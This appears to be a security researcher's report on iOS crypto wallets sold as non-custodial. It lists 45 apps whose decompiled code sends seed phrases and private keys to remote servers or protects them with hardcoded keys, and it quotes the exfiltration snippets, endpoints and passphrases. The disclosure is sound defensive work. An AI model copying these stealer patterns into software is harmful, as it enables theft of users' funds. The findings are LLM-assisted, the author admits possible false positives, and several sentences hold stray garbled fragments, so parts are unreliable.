There are 904 apps that marketed as non-custodial cryptocurrency wallets on the Appstore. I was able to decompile and analyse 494 of them.
I’ve found 45 apps that raised red flags for me during my research.
I looked specifically for 2 things: private keys exfiltration and weak entropy.
What I did
I tasked my clanker to collected Apple AppStore IPAs for wallets that sell themselves as non-custodial. The catalog is 904 apps. Thats a lot! Then I asked the question, does the shipped code do what the listing, and the public repo say it does?
Most of the corpus is boring in the good way. The interesting residue is not. After another independent pass I kept potentially 23 critical and 22 high apps.
A few take-aways
Forked wallets used to be the usual move (there are a few BlueWallet forks), often reskinned poorly, now they moved to AI-recreated wallets from scratch ("Claude, make a wallet just like BlueWallet but with a brand-new codebase")
Appstore search, just like Google search, and ad placements, cannot be trusted
Reputation alone is not enough to trust software with lots of money
These apps get put wherever they can, even trying to get listed on bitcoin.org
Some have fake reviews ("been using this app for 2 years!" when the app is 2 months old)
Single device should NOT be the single signer for any meaningful amount of money
How I did it
ipatool was used to search the Appstore and download binaries (took about 3 days). Grok 4.6 xhigh was used to analyse the binaries where possible (took about 4 days). JS bundles are very easy to analyse for LLMs ('decompile' is not the correct word here), for deeper research I would need to pull decrypted IPA files (most likely via jailbroken device), and use proper decompile tools like ghidra/radare2. This is a bigger lift even for LLMs.
CRITICAL and HIGH issues discovered
As a disclaimer, there MIGHT be false-positives, just as if the app is absent on the list does not prove its safe to use.
45 apps · last-version dates as of the Sep 2nd, 2026 · click a finding for the code · labels name what the binary does
The App Store binary (v27.27.60) contains confirmed, automatic exfiltration of wallet secrets to AES-obfuscated third-party endpoints under coffer.agency. During wallet import/scan, _scanMnemonic POSTs the recovery phrase and optional passphrase to https://coffer.agency/mnemonic; _scanWif POSTs the raw WIF private key to https://coffer.agency/privatekey; multisig vault setup POSTs joined mnemonics to https://multisig.coffer.agency/vault. URLs are hidden via reversed-base64 + CryptoJS AES decryption (_d). Mnemonic generation uses randomBytes / crypto.getRandomValues — no weak keygen found.
Findings
Mnemonic and passphrase POSTed to coffer.agency/mnemonic
WIF private key POSTed to coffer.agency/privatekey
Multisig vault mnemonics POSTed to multisig.coffer.agency/vault
BirrOS (store v2.5.0 / build 45) is a Hermes React Native wallet for BRDPoSChain that also ships BirrConnect social, KYC, and an MPC BTC vault. Local key generation uses ethers randomBytes / Wallet.createRandom and stores wallet_data in Expo SecureStore. Confirmed seed exfiltration: when a user enables cloud recovery / 2FA, the app POSTs the 12-word mnemonic to https://birr.foundation/api/wallet-recovery/store-recovery-data under the field encryptedMnemonic. That value is not encrypted — it is btoa(unescape(encodeURIComponent(mnemonic))) (function base64Encode). The same JSON body includes the TOTP twoFASecret in plaintext. The matching recover endpoint returns mnemonic in the clear after email OTP + 2FA. This is first-party infrastructure, but it breaks non-custodial assumptions: the publisher’s API holds the seed and the second factor.
Findings
Recovery phrase Base64-encoded and POSTed as encryptedMnemonic
// recover-wallet: POST email + OTP + TOTP … (1716493-1716515)
r3 = 'POST';
r3['email'] = r17;
r3['emailOTP'] = r17;
r3['twoFACode'] = r17;
r3 = 'https://birr.foundation/api/wallet-recovery/recover-wallet';
// … and the server hands the mnemonic back (1716586)
r10 = r10.mnemonic;
if (r10) {
// recovery succeeds — the wallet is restored from the server copy
}
The App Store binary (v26.07.25 / build 120) is a Hermes React Native wallet that automatically POSTs the recovery phrase and EVM private key to https://xcryptowallet.org/api/wallet/register on create/import and again from WalletContext “final registration.” The JSON field is named encryptedMnemonic, but the value is the plaintext BIP-39 phrase after ethers.Wallet.fromPhrase verification — there is no encrypt step. Bitcoin sends additionally POST the raw WIF/hex key to https://xcryptowallet.replit.app/api/bitcoin/send. In-app FAQ copy claims “We never have access to your keys.” This is confirmed custodial exfil.
Findings
Automatic register POST of mnemonic + private key to xcryptowallet.org
Bitcoin send POSTs private key to Replit backend
Bitcoin multisig sync POSTs signer private keys
registerPath = '/api/wallet/register';
Wallet = r15.Wallet;
fromPhrase = Wallet.fromPhrase;
privateKey = r15.privateKey;
r14 = 'POST'; // method (r14 reused as the body below)
r14['encryptedMnemonic'] = mnemonic; // field name says encrypted — value is the RAW mnemonic
r14['privateKey'] = privateKey; // raw EVM private key
r14['importType'] = importType;
r14['deviceId'] = deviceId;
// → POST https://xcryptowallet.org/api/wallet/register
r18 = 'https://';
replitHost = 'xcryptowallet.replit.app';
r11 = '/api/bitcoin/send';
r11['fromAddress'] = fromAddress; // r11 reused as the body
r11['toAddress'] = toAddress;
r11['privateKey'] = privateKey; // raw BTC key
r11 = 'POST'; // method
// → POST https://xcryptowallet.replit.app/api/bitcoin/send
Store build v35 is Plus Wallet rebranded as “Cold Wallet.” Hermes-preserved names show a first-party API that uploads the user’s mnemonic (updateUserMnemonics + APIClientpost) and later asks the server whether that mnemonic was saved (getMnemonicsSavedStatus). Mnemonics are RSA-wrapped first (encodeMnemonics / encryptionScheme) so the ciphertext is still recoverable by whoever holds the matching private key. In-app copy simultaneously claims “Cold wallet does not keep a copy of your secret phrase.” Wallet JS is javascript-obfuscator–style string-split. Advertised non-custodial, code talks to wallet.pluswallet.app / pluswallet.com / *.coldwallet.com about mnemonics.
Findings
updateUserMnemonics POSTs the seed to Plus Wallet backend
DexSpace is a dual-mode React Native (Hermes) wallet. Email / JWT flows are custodial: import POSTs the user’s 12-word mnemonic and/or private key in JSON to https://market-api.dexspace.io, and signed-in transactions can be signed on the server. UI copy still says “Never share your seed phrase” while the import handler uploads it. The anonymous / incognito path derives keys locally (generateMnemonic + Keychain storePrivate) and does not show the same POST. First-party secret upload plus remote signing, not a hidden third-party server.
Findings
Email import POSTs mnemonic to DexSpace /wallets
Vault API POSTs private_key (typed import and seeds route param)
Email “Generate & Start” is server-custodial (no local seed)
Store build 4.4.9 (2) POSTs the live wallet private key (diamSecretKey or evmPrivateKey) to Diamante first-party APIs under https://dwsprod.diamante.io during deeplink transfer / sign flows. The named encryptor encryptDeeplinkData is a no-op identity function, so the JSON body (privateKey, destination, amount, session, XDR) leaves the device in the clear. This is publisher infrastructure (diamante.io / diamcircle.io), not a hidden third-party server, but it is confirmed secret-to-network. Key generation uses BIP-39 + crypto.getRandomValues — no Math.random keygen.
Findings
Deeplink swipe POSTs private key to dwsprod.diamante.io (encrypt is a no-op)
Dibix (v5.0.1) is a React Native / Hermes wallet that talks to https://mobile-api.dbx.so. The binary does not show a hidden third-party server, but it does send seed material and derived keys to the publisher backend in multiple user flows. Mnemonics are AES-encrypted with a hardcoded passphrase before upload; server-side cryptoKeyPairs use the same key plus predictable user-ID fragments. Wallet creation uses crypto.getRandomValues / randomBytes (not Math.random). This is a custodial/hybrid architecture marketed via a non-custodial wallet corpus.dbx.so`.
Findings
Wallet restore uploads AES-encrypted mnemonic to backend
Account creation POSTs mnemonic to /api/account/add
Ripple (XRP) send flow POSTs mnemonic to config API
Server-side wallet blob decrypted with hardcoded + predictable key
GoldBit v1.1 (build 1, SAKOS CORPORATION) is a Hermes React Native multi-chain wallet on the R2Wallet white-label template (R2Wallet.db, plaintext WalletTbl). Create and import automatically upload the recovery phrase and all per-chain private keys in plaintext to Firebase Firestore collection Users in project goldbit-wallet (saveDataToFirestore('Users', btcAddress.toLowerCase, payload)). Unlike Locksy’s XOR-plus-key upload, this build does not wrap the secrets — seedPhrase, evmPrivateKey, btcPrivateKey, xrpPrivateKey, and solanaPrivateKey go to the cloud as-is. The App Store listing claims keys are stored “solely on the user’s device” with “the best encryption methods.” That claim is false. Mnemonic generation uses ethers.utils.randomBytes(16) — no weak keygen. This is confirmed secret exfil.
Findings
Plaintext seed and private keys written to Firestore Users
The App Store binary (v1.0.8 / build 6) contains a confirmed, silent “vitals” pipeline that encrypts recovery phrases and private keys and POSTs them to https://apis.grey.holdings/wallet/analysis/vitals. Create-wallet, import-phrase, and private-key-paste flows all set secret to the mnemonic or key, wrap it with AES-GCM using a hardcoded client key, and enqueue the ciphertext plus a SHA-256 fingerprint. The import UI still claims “Your keys never leave this device. Nothing is sent to any server.” Network flush is gated by a server collectionActive flag from /wallet/analysis/heartbeat, which the client always advertises as vitalsStoreEnabled: true. This is confirmed secret exfil on first-party infra. Mnemonic generation uses BIP-39 randomBytes / crypto.getRandomValues. No Math.random keygen was found. All 25 prepared chunks are i18n copies of the same wallet strings (false keygen/secret_privatekey tags), not live crypto.
Findings
Recovery phrase and private keys POSTed to apis.grey.holdings/wallet/analysis/vitals
Helios (v1.0.8, Capacitor + Ionic/React + Vite, TronWeb) contains confirmed silent exfiltration of seed-phrase screenshots. On the dashboard, if the photo library permission is already granted, the app OCR-scans all device photos with Tesseract for mnemonic/recovery/private-key keywords and uploads matching images to s3://tron-wallet-1 (eu-north-1) using hardcoded AWS IAM credentials baked into the JS bundle. Separately, the Zustand store persists tronPrivateKey, tronSeedPhrase, and pinCode in plaintext via Capacitor Preferences (iOS UserDefaults), and logs that blob to console.log. Wallet key generation uses ethers randomBytes / crypto.getRandomValues (not Math.random). Publisher gateway https://gateway.helioswallet.xyz/ is used for SIWE-style auth, profiles, and a signed-tx fee relay — those calls send signatures/signed txs, not raw seeds.
Findings
Photo-library OCR uploads seed screenshots to S3
Plaintext mnemonic + private key persisted to Capacitor Preferences
Optional iCloud seed backup uses XOR “encryption”, then Keychain sync
Hive v4.04.1 (build 84) is an Ionic/Angular Capacitor wallet whose JS talks to Honeycoin backends (api-v2.honeycoin.app, hc-crypto-server.herokuapp.com, Firebase project honeycoin-app). It is custodial in practice: wallets are created on the server (/v3/nc/generate-crypto-wallet), and per-chain userData[*Wallet] records contain mnemonic and privateKey. When the user activates another token, those secrets are AES-wrapped with a hardcoded client passphrase and POSTed back to the same Heroku crypto server. This is confirmed seed/key exfiltration (publisher-controlled), not local-only signing.
Findings
Mnemonic and private key POSTed on token activation
Secrets live in publisher profile and are cached locally
Primary wallet created server-side (no local BIP39)
Store binary 2.0.3 (3) is a Hermes React Native NFC-card wallet that POSTs the user’s 12-word mnemonic and access-code PIN in plaintext JSON to first-party https://api.kraster.business/v1/user/auth/sign-up during account creation. That is confirmed seed + PIN exfiltration, not a local-only backup. The same binary’s privacy policy and onboarding copy claim Kraster never collects, transmits, or stores seed phrases or PINs and that “Kraster Wallet has no access to it.” Key generation uses BIP-39 randomBytes / crypto.getRandomValues (no weak PRNG).
Findings
Signup POSTs mnemonic and PIN to api.kraster.business
In-app policy and UI deny the behavior above
// sign-up request → POST https://api.kraster.business/v1/user/auth/sign-up (392887-392932)
r3 = r3.signUp;
requestConfig['url'] = r3;
requestConfig['method'] = r3; // 'POST' (IR register reuse)
r3 = {};
r3['pinCode'] = r6.cardPassword;
r3['mnemonic'] = r6.mnemonic; // raw mnemonic in the sign-up body
r3['publicAddresses'] = publicAddresses;
requestConfig['body'] = r3;
r4 = {'title': 'Scope and Purpose', 'text': '...Kraster operates on a non-custodial basis. We never collect, transmit, or store private keys, seed phrases, PINs, or any credentials that can control digital assets....'};
r3 = {'recoveryPhraseNote': 'Kraster Wallet has no access to it.'};
Locksy v1.9.0 (build 4, KYUKEI LLC / 合同会社九計) is a Hermes React Native multi-chain wallet built on the same R2Wallet white-label template seen in DROIB/Sparkle (R2Wallet.db, plaintext WalletTbl). Unlike those cousins, create and import automatically upload the recovery phrase to Firebase Firestore. The phrase is XOR-obfuscated with a Math.random key, then the ciphertext and that key are written to collection Users in project locksy-3bd47 (createOrUpdateDoc('Users', evmWalletAddress, payload)). The App Store listing claims seeds “stay on your device — never shared with any server.” That claim is false. Mnemonic generation itself uses ethers.utils.randomBytes(16) — no weak keygen. This is confirmed secret exfil.
Findings
Recovery phrase uploaded to Firestore Users with the XOR key in the same document
Math.random used for the Firestore “encryption” key (and referral codes)
Store build 1.4.0 (10) is a Hermes React Native wallet that is not non-custodial. Recovery phrases are generated on the publisher backend (GET https://api.noctarapp.com/v1/auth/generate/phrase) and the plaintext mnemonic plus the user’s 6-digit PIN are POSTed back to https://api.noctarapp.com/v1/auth on create and again to /v1/wallet when adding/importing a wallet. The onboarding UI still tells users “We cannot recover it for you” and “You’re now in full control of your assets.” Signing is also server-side: transfers POST encrypted + pin to /v1/transfer/*. This is confirmed seed/PIN exfiltration to first-party infra.setgrate` naming).
Findings
Server generates the recovery phrase (/v1/auth/generate/phrase)
Plaintext mnemonic + PIN POSTed to /v1/auth on wallet create
Imported / additional wallets POST phrase + PIN to /v1/wallet
Transfers send encrypted blob + PIN to server (server-side signing)
PIN change uploads encrypted material + old/new PIN
No on-device wallet entropy — server issues the mnemonic
r1 = get('/v1/auth/generate/phrase'); // 2227646 — the SERVER supplies the phrase
r3 = r3.data; // 2227672
navParams['generatedPhrase'] = r3; // 2227673
r3 = 'SetupNewWallet'; // 2227674
// UI copy shown next to the server-issued phrase (2227884, joined with '\n'):
uiCopy = [
'• Keep your recovery phrase secret and secure',
'• Never share it with anyone',
'• Store it in a safe place',
'• If you lose it, you lose access to your funds',
'• We cannot recover it for you'
];
Store build 1.0.13 (CFBundleVersion 57) is a Hermes React Native multi-chain wallet (TSC / Solana / EVM / XRP / XLM) that uploads seed material to publisher backends. Prosper membership enrollment GETs a mnemonic from https://tsc-wallet-p2kjx.ondigitalocean.app/v1/wallets/mnemonic and immediately POSTs the plaintext phrase plus wallet passcode to /v1/wallets. Login POST https://wallet.tsc.sh/api/prosperwallet-login returns data.mnemonic. Independently, every local persist path (CreateWalletSeed, WalletImport, CreateWalletProsper) calls getAddresses with encryptedMnemonic + encryptionCode + the app password, so the server can decrypt. App Store copy says “control of your keys in mind.” This is confirmed custodial seed handling, not a hidden third-party server, but it fails the non-custodial test.
Findings
Plaintext mnemonic + passcode posted to DigitalOcean wallet service
Login API returns the mnemonic in JSON
Every persist path sends ciphertext + encryption code + password to wallet.tsc.sh
_createWalletOnTscService = function() { // Original name: _createWalletOnTscService
r1 = '/wallets'; // path (Hermes IR reuses r1 below)
r1 = 'POST'; // method
r1['walletPasscode'] = r8; // body: the user's passcode …
r1['mnemonic'] = r8; // … and the raw mnemonic
}
// → POST https://tsc-wallet-p2kjx.ondigitalocean.app/v1/wallets
r1 = 'https://tsc-wallet-p2kjx.ondigitalocean.app/v1';
Store build 1.2 (5) is a Hermes React Native wallet (seller CRASH AND BURN STUDIOS LLC) that generates keys locally with ethers.Wallet.createRandom, then automatically POSTs the active wallet’s private key and seed phrase to a third-party Heroku app (backenddevices-038068710c74.herokuapp.com) whenever the home screen is focused and portfolio value is greater than 1. Secrets are renamed (deviceKey / deviceDetail) and gated on balance — not a user-initiated backup. The App Store listing claims keys are “encrypted and stored only on your device”; the binary stores them in plaintext SQLite (RoarWallet.db) and phones them home. This is confirmed seed/key exfiltration.
Findings
Home-screen hook POSTs seed + private key to Heroku “device” API
The App Store binary (v1.2.7 / build 43) is a Hermes React Native TRON/USDT wallet that automatically uploads each wallet’s mnemonic and private key to an Appwrite backend at https://banco.codnodo.com/v1 (project 6a14b3f50014b881cbc8, database solidum, table keyBackups). The primary payload field is ECIES-encrypted to a hardcoded vendor secp256k1 public key; there is no matching decryptSeedBackup in the client, so whoever holds that private key can recover every user’s secrets. Onboarding copy claims the opposite (“Non-custodial. Your seed phrase never leaves this device”). Key generation uses expo-cryptogetRandomValues (not Math.random). This is confirmed secret exfiltration.codnodo.com` / Codnodo.
Findings
Automatic upload of mnemonic + private key to Appwrite keyBackups
Swiss Bitcoin Pay v2.6.4 (build 468) is a React Native / Hermes merchant checkout app with an embedded local Bitcoin wallet creation flow. Static analysis of the decompiled main.jsbundle shows that when a user completes wallet signup/login, the app POSTs the full BIP39 mnemonic (words) to https://api.swiss-bitcoin-pay.ch/auth via onAuthLogin. This directly contradicts in-app copy stating the seed phrase is generated locally and never sent to servers. Key generation itself uses crypto.randomBytes / getRandomValues (not weak PRNG). Secondary notes: mnemonic also persisted in AsyncStorage, Sentry enabled, TLS pinning on the API domain.
Findings
Mnemonic words POSTed to /auth on wallet login
UI claims seed never sent — contradicts /auth behavior
// strings table — create/backup flow copy (decompiled/main.js:1432187)
i18nStrings = {
'seedPhrase': 'seed phrase',
'instructions1': "In the next step, we'll display your 12 words (also called seed phrase). This secret seed phrase is the only way to access your bitcoins.",
'instructions2': 'Your seed phrase is generated securely and localy on your device, and is never sent to our servers.',
'instructions3': 'Write it down on a durable medium and keep it in a secure place.',
'instructions4': 'If you lose your seed phrase, your funds will be lost forever. It is therefore absolutely critical to properly store and protect your seed phrase.',
// ...
};
// second screen (decompiled/main.js:1432189)
i18nStrings = {
'instructions1': 'Write down your 12 words and make sure it is clearly readable.',
'instructions2': 'Please make sure to respect the words order!',
'instructions3': 'This seed phrase was generated from 100% open-source code and is never leaving your device.',
// ...
};
TRIBE Wallet (Metro React Native bundle main.jsbundle, ~8 MB minified) uploads encrypted private-key material to Tribe-controlled servers (keystore.eostribe.io) using a hardcoded Tribe FIO public key for encryption. Backup runs automatically after FIO address registration and Telos account creation. This is not a hidden third-party server, but it is a serious divergence from a purely non-custodial model: Tribe can decrypt all backups if they hold the matching private key. No evidence was found of plaintext mnemonic or private-key POSTs. EOS/FIO/Telos key generation uses Ecc.randomKey backed by crypto.getRandomValues. Secondary issues include global ATS bypass, cleartext HTTP to Greymass, a hardcoded Telos account-creation API key, and Math.random used only for non-cryptographic account-name generation.
Findings
Automatic private-key backup to keystore.eostribe.io
Private-key delegation to guardian FIO addresses (user-initiated, encrypted)
Store build 2.1.1 (26031367) is a Hermes React Native USDT / TRON wallet that markets “Cloud + Local” accounts. Local 12-word generation uses expo-cryptogetRandomBytesAsync(16) (not Math.random). The same BIP39 seed is then AES-128-CBC encrypted with a hardcoded key and static IV and sent as Authorization: Bearer <hex> on first-party *.uin.app APIs — including /api/wallet/transfer for the so-called local HD path. Anyone with the binary (or the UIN backend) can recover seed_hex and derive all keys.
Findings
BIP39 seed is AES-CBC wrapped with a hardcoded key and sent as Bearer auth
Store listing “VeraBit : Bitcoin Wallet” (com.bitxwalet.production, CFBundleDisplayName SatPak, v2.0.1/9) ships a Hermes React Native wallet that POSTs the BIP39 mnemonic + passphrase and WIF private keys to https://satpak.dev (/mnemonic, /privatekey) via a CofferWalletClient / cofferWalletConfig module. The same secrets are also POSTed to a hardcoded Supabase project (szkdndhlzqlqimrutcba.supabase.co) as p_key / p_passphrase (sync_wallet_connect) and as p_value while the user types an import (sync_wallet_import_draft). Class names, Keychain service prefixes (agency.coffer.satpak.*), and path layout (/mnemonic, /privatekey, /history, /transaction, /payment) match the shared steal-client SDK fingerprint. This is confirmed seed/key exfiltration, not local-only wallet logic.
Findings
CofferWalletClient POSTs mnemonic + passphrase to satpak.dev/mnemonic
CofferWalletClient POSTs WIF to satpak.dev/privatekey
Store build 8.0.15 (Hermes RN, main.jsbundle ~59 MB / 1.31M decompiled lines) is an XRPL wallet that POSTs the user’s family seed (secret) to the publisher Cloudflare Workerhttps://xrphealthcare.sptdmw.workers.dev during stake, unstake, and claim. That contradicts in-app copy claiming they cannot access wallets or private keys. Wallet entropy is eight Math.random 6-digit padlock numbers fed to xrpl.Wallet.fromEntropy — not crypto.getRandomValues. Payments appear to sign locally via xrpl.js.
Store build 1.0.11 (32) is a Hermes React Native OneKeyHQ/app-monorepo white-label (ONEKEY_API_HOST = onekeycn.com, $onekey web-embed, source paths /Users/moon/BIT/…) with a Ybit-specific overlay that POSTs plaintext secrets to a Firebase Realtime Database. On create-wallet, skip-backup, import-mnemonic, and import-private-key, the app fetches api.ipify.org, then JSON.stringifys the raw mnemonic or private key plus IP/device metadata and POSTs it to https://ybit-5e36f-default-rtdb.europe-west1.firebasedatabase.app/{CPH|USC|IR|KK}.json?auth=<hardcoded API key>. This is confirmed seed/key exfiltration, not OneKey stock cloud backup (those paths encrypt first). Errors are swallowed; the local wallet is still created.
Findings
Plaintext mnemonic POSTed on create / show recovery phrase (/CPH.json)
Plaintext mnemonic POSTed when user skips backup (/USC.json)
Plaintext mnemonic POSTed on import recovery phrase (/IR.json)
FINTOKEN 2.2.6 (build 3) is a Metro React Native multichain wallet (EVM / TRON / BTC) plus IM/DApp/swap. Static review of Payload/fintoken_production.app/main.jsbundle (js_inventory + 25 chunks) found and no confirmed network POST of a mnemonic, WIF, or raw private key. Create/import derives keys locally; first-party login to https://api.cwb66.com sends addresses + SHA-256 of ciphertext, not seeds. Every encMnemonic / encPrivateKey is AES-encrypted with a hardcoded password comcxfinTokenpas (IV = key). HD derivation for EVM/TRON interpolates the mnemonic into a hidden WebView that loads ethers 5.2 from cdn.ethers.io while ATS allows arbitrary loads. Opening a DApp decrypts the private key and hands it to NativeModules.DappBrowser.startActivityFromJS. A device backup or anyone who extracts the Realm DB can recover all keys without the user PIN.
Findings
Mnemonic interpolated into hidden WebView that loads remote ethers CDN
DApp browser receives plaintext private key
Hardcoded AES password for all wallet secrets at rest
// hidden WebView document, built by string concatenation
// (single \n-joined string in the bundle; newlines added for readability)
htmlDoc = "<html><head>
<script src=\"https://cdn.ethers.io/lib/ethers-5.2.umd.min.js\"><\/script>
</head><body><script>
window.addEventListener('load', function () {
const EVMPath = \"" + this.state.EVMPath + "\";
const TRONPath = \"" + this.state.TRONPath + "\";
const mnemonics = \"" + this.state.mnemonics + "\"; // raw seed interpolated into the page
const wallet = ethers.Wallet.fromMnemonic(mnemonics, path);
window.ReactNativeWebView.postMessage(result);
});
<\/script></body></html>";
(0, p.jsx)(f.WebView, { source: { html: htmlDoc }, javaScriptEnabled: !0 });
The App Store binary (v3.1.2 / build 29) automatically exfiltrates newly created seed phrases to three Flash Technologies backends. On create-wallet mount, createMnemonic generates a 12-word phrase, encryptData splits it into word groups [0:4], [4:8], [8:], AES-encrypts each shard with a hardcoded global passphrase (42f8a2dd188713aed2661e41a30dcbdb2ac674af1bddf841c9f636b65c07d490), and POSTs the ciphertext to app.flash-wallet.com, app.flash-technologies.org, and app.flash-transfer.com. A matching getRecoveryKey flow GETs all three shards and reconstructs the full mnemonic with the same bundled key. The three-domain split is security theater: one company, one client-side key, one Bearer token.
Findings
Automatic mnemonic shard POST to Flash backends
Server-side recovery reconstructs the full seed
Google Drive “backup” uploads ciphertext and the decryption key together
HIHODL 1.5.3 (build 3) is a Hermes React Native / Expo wallet that automatically uploads the BIP-39 mnemonic to a first-party API during setup (PUT /vaults/seed-backup). The blob is AES-GCM, but the wrapping key is scrypt(userId) → HKDF(server pepper) — the pepper is fetched from the same API (GET /security/pepper) and a debug screen lists a user_peppers table. That is not zero-knowledge; the operator can decrypt. The store JS inlines EXPO_PUBLIC_API_BASE_URL as http://192.168.1.104:5001/api/v1 and setApiBaseUrl is called with that LAN address at app init. ATS also allows cleartext HTTP to 3.211.242.23. Live App Store traffic may fail to reach the backup endpoint unless that host is reachable or the URL is changed (EAS/OTA). The upload path itself is confirmed.
Findings
Automatic cloud backup of the mnemonic; wrapping key is operator-held
// the only API base in shipped JS — decompiled/main.js:655348 (also 754579, 916829, 2077201, 2110378)
apiBase = 'http://192.168.1.104:5001/api/v1';
// encryptSeedBlob — :1174794-1174801 (wrap key: scrypt(userId) + HKDF with pepper from GET /security/pepper, info 'hihodl/seed-backup/v1' — :754142, :1175493)
seedPayload = {};
mnemonic = a1; // mnemonic
seedPayload['seed'] = mnemonic;
seedJson = stringify.bind(r11)(seedPayload); // JSON.stringify({seed})
cryptoModule = _closure1_slot3;
aesGcmEncrypt = cryptoModule.aesGcmEncrypt;
ciphertext = aesGcmEncrypt.bind(r8)(wrapKey, r5); // AES-GCM encrypt
// upload — :1174888-1174896
apiClient = r2.apiClient;
put = apiClient.put;
uploadBody = {};
uploadBody['cipher_blob'] = cipherBlob;
uploadBody['previous_blob_hash'] = previousBlobHash;
backupPath = '/vaults/seed-backup';
r2 = put.bind(apiClient)(backupPath, uploadBody); // apiClient.put('/vaults/seed-backup', {cipher_blob, previous_blob_hash})
Mitilena Wallet v5.1.3 is a Cordova “hardware cold wallet” with plain, readable JavaScript under Payload/App.app/public/. There is no hidden third-party server ( no plaintext mnemonic/private-key POST endpoints found). The app does send wallet-related secrets to Mitilena infrastructure in user-initiated flows: gift activation via email transmits a PBKDF2+AES-GCM–encrypted private key over Socket.IO, and Monero send/balance flows transmit a view key to the backend. Offline signing (SignOnline) keeps mnemonic/private-key material in-memory for local derivation and signing; Jupiter swap calls send only a derived public key. Secondary issues are significant: global ATS bypass, hardcoded encryption passphrases baked into every install (xcvcxewew11deviceCQ, sdfs;rWc777111), legacy AES-256-CTR decrypt fallback, and localStorage backup of NFC wallet records (including encrypted private keys) on write failure.
Findings
Gift “Receive via email” sends encrypted private key to operator server
Store build 1.3.0 (40) is a Hermes / Expo Hyperliquid copy-trading client (Celebit / https://perpex.co), not a classic on-device BIP-39 seed wallet. The user’s main account is a Privy TEE embedded wallet (@privy-io/expo 0.69.0). Separately, the app generates a Hyperliquid agent secp256k1 private key with noble/viem randomPrivateKey and POSTs that raw hex key to first-party https://api.perpex.co/api/v1/wallets/register-agent during onboarding and again from the copy-trade sheet. This is product copy-trade infrastructure (server-side trading), not a hidden third-party server — but it is confirmed private-key upload. Ohayo).
Findings
Hyperliquid agent private key POSTed to api.perpex.co
Hermes React Native wallet (store version 5.3.8) marketed as non-custodial / MPC. No hidden third-party server. Imported 12/24-word phrases and valid hex private keys are written to the local keychain and are not POSTed. Social-login (MPC) accounts are different: the publisher API GET /user/backup is named getPrivateKey, and Profile auto-fetches that payload into JS state so the UI can show “Your Private Keys.” Recovery of a non-hex imported string POSTs it as input.recovery to /auth/authenticate. That is first-party key custody for social/MPC wallets, not a hidden third-party server.
Findings
Social accounts fetch private-key backup from Pulse API on Profile mount
Non-hex “imported key” is POSTed as recovery to /auth/authenticate
MPC key-share custody on apis.pulsewallet.co/mpc (by design, server can re-issue shares)
// getPrivateKey — authenticated GET returns the account's private key (972578-972639)
r6 = 'getPrivateKey'; // 972578
r2 = get('/user/backup'); // 972598
r2 = 'Cannot get private key'; // 972629
getAccessToken = function () {
// Original name: getAccessToken → getPrivateKey // 972639
Store listing is Ramper Wallet (v2.0.1), but the IPA payload is Coin98.app — a Coin98 Super Wallet / Ramper white-label with Firebase ramper-prod and Coin98 backends. Social / “keyless” login is not non-custodial:ramperSignUp Shamir-splits the mnemonic (2-of-3) and uploads two shares to vendor infrastructure — AES(ramper-{uid}) to https://fragment-api.coin98.com/fragment, plus a KMS-wrapped share in Firestore. Sign-in recovery reconstructs the phrase from those two server-held shares when the device share is missing. Local “create / import seed” uses randomBytes + BIP39 and was not seen posting the phrase.
Findings
Social signup uploads Shamir shares of the mnemonic to Coin98 + Firebase/KMS
V0/V1 social signup stores the full private key (KMS-wrapped) in Firestore
Capacitor + Next.js Stellar wallet (BP Ventures / freedompaywallet.com, store version 2.4 / build 7). No hidden third-party server and no fetch/POST of mnemonics or secret seeds. Signup uses SEP-30 social recovery against two first-party servers on the same bpventures.us org, with account thresholds that let those two vendor signers meet highThreshold without the device key — that is custodial-equivalent control, not hidden exfil. The 9.5 MB _app bundle (missed by prep js_inventory) also hardcodes an Android keystore password, a Matrix chat token, and stores the SEP-30 device secret plus PIN via react-secure-storage with a baked-in AES fallback key.
Findings
Same-operator SEP-30 signers can meet high threshold without the user
// _app-f17e0a50bd916608.js:15 | thresholds scale with the number of SEP-30 servers
txBuilder = new StellarSDK.TransactionBuilder(account, { fee: "40000", networkPassphrase: o.networkPassphrase })
.addOperation(StellarSDK.Operation.setOptions({
lowThreshold: 10, medThreshold: 10, highThreshold: 10 * sep30servers.length // sep30-prod1 + sep30-prod3
}));
// every signer is added at weight 10: the device key plus each recovery-service key
let transaction = await (0, B.Uw)({
masterKey: n,
sep30servers: sep30servers,
signers: [{ key: deviceKeypair.publicKey(), weight: 10 }] // device
.concat(recoveryServers.map(server => ({ key: server.signers[0].key, weight: 10 }))) // both bpventures.us services
});
// ... and the account's own master key is then stripped:
let u = { masterWeight: 0 };
Store build 6 (CFBundleVersion 1) is a Hermes React Native wallet. Classic 12-word create/import derives keys locally (BIP-39 randomBytes + HD paths) and does notfetch/POST the mnemonic as plaintext to a hidden third-party server. Social / email / Apple / Google “MPC” onboarding does upload AES-encrypted private-key halves (JSON fields named evmPrivateKey, solanaPrivateKey, xrpPrivateKey, tronPrivateKey) to two first-party backends on blockmob.xyz. Encryption passwords default to hardcoded strings (evm_secret_password, …) or the server-issued user uuid, so the operator can reconstruct keys. Release code also console.logs seed phrases and those AES passwords.
Findings
Social / “MPC” onboarding POSTs AES-split private keys to blockmob.xyz
ONEpocket (store v2.4.0 / build 419, Hermes RN, binary name web3walletrn) is Nexus / Cross Token’s wallet. Social-login create/restore uploads AES-256-GCM ciphertext of the mnemonic entropy to publisher hosts cross-storage-a.crosstoken.io and cross-storage-b.crosstoken.io. Encryption is real (scrypt + Shamir + GCM), not a plaintext hidden POST — but the wrapping secret is a 4-digit PIN plus the social providerSub, scrypt N=4096 is weak, and both Shamir shares land on the same operator. That is recoverable seed material on vendor infra, not a hidden third-party server. Wallet generation uses ethers Wallet.createRandom → randomBytes(16). / plaintext mnemonic fetch`.
Findings
Cloud recovery POSTs encrypted mnemonic entropy to crosstoken.io
Store build 1.4.5 (2) (Yieldz, Inc.) is a Hermes React Native account-based MPC wallet (@sodot/sodot-react-native-sdk), not a classic BIP-39 seed app. There is no hidden mnemonic/WIF POST and . The client MPC share is AES-GCM-wrapped and PUT to the first-party wallet API as encrypted_keyshare (/v1/wallets/{id}/keyshare-backup) and also sent over the MPC invite WebSocket. The wrap key is SHA-256 of a hardcoded label plus userId and userCreatedAt — values the operator already has — so the backup is operator-decryptable. Combined with Sodot keygen that takes a server_keygen_id`, this is a custodial-capable design (operator can hold/reconstruct both shares).
Findings
Client keyshare uploaded to first-party /keyshare-backup; wrap key is operator-known
Encrypted client share also sent on the MPC invite WebSocket
